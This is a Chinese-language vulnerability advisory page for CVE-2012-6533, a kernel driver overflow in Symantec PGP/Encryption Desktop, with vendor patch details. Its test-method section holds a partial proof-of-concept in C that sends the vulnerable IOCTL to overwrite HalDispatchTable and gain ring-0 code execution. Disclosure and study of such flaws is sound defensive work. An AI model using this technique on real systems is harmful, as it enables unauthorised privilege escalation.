Symantec Encryption Desktop 本地缓冲区溢出权限提升漏洞（CVE-2012-6533）

发布日期：2012-12-25
更新日期：2013-02-25受影响系统：
Symantec PGP Desktop 10.2
Symantec PGP Desktop 10.0
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 57835
CVE（CAN） ID: CVE-2012-6533

Symantec Encryption Desktop是多层存储加密解决方案，通过绑定 Drive Encryption 来确保本地本地硬盘文件的安全，通过File Share Encryption来确保云内文件共享的安全。

Symantec PGP Desktop和Symantec Encryption Desktop系统内核驱动程序pgpwded.sys在处理畸形输入存在整数溢出，特别是在Windows XP和Windows Sever 2003上，内核驱动程序也存在其他缓冲区溢出漏洞。要利用两个漏洞需要本地访问受影响系统。成功利用后可造成以提升的权限执行任意代码。

<*来源：Nikita Tarakanov

链接：http://www.symantec.com/security_response/securityupdates/detail.jsp？fid=security_advisory&pvid=secu
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#define IO_CONTROL_VULN 0x80022058 #define TARGET_DEVICE L"\Device\pgpwdef" [..] usName.Buffer = TARGET_DEVICE;
usName.Length = usName.MaximumLength =
（USHORT）（wcslen（usName.Buffer） * sizeof（WCHAR））; InitializeObjectAttributes（&ObjAttr, &usName, OBJ_CASE_INSENSITIVE ,
NULL, NULL）;
// get handle of target devide
ns = f_NtOpenFile（
&hDev,
FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
&ObjAttr,
&StatusBlock,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT
）; [..] BOOL bStatus = DeviceIoControl（
hDev,
IO_CONTROL_VULN,
InBuff, 0x8,
OutBuff, 0x8,
&dwReturnLen, NULL
）; dwReturnLen = 0;
bStatus = DeviceIoControl（
hDev,
IO_CONTROL_VULN,
InBuff, sizeof（PVOID）,
（PUCHAR）m_HalDispatchTable, 0,
&dwReturnLen, NULL
）; [..] f_NtQueryIntervalProfile（ProfileTotalIssues, &Interval）; [..] Your evil code processes with CPL==0建议：
--------------------------------------------------------------------------------
厂商补丁：

Symantec
--------
Symantec已经为此发布了一个安全公告（20130213_00）以及相应补丁:

20130213_00：Security Advisories Relating to Symantec Products - Symantec Encryption Desktop Local Access Elevation of Privilege
链接：http://www.symantec.com/security_response/securityupdates/detail.jsp？fid=security_advisory&pvid=security_advisory&suid=20130213_00VMware vCenter, ESXi, ESX NFC协议内存破坏漏洞（CVE-2013-1659）Raidsonic ICY BOX NAS-4220-B / NAS-5220身份验证绕过和脚本插入漏洞相关资讯 Symantec PGP Desktop 本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规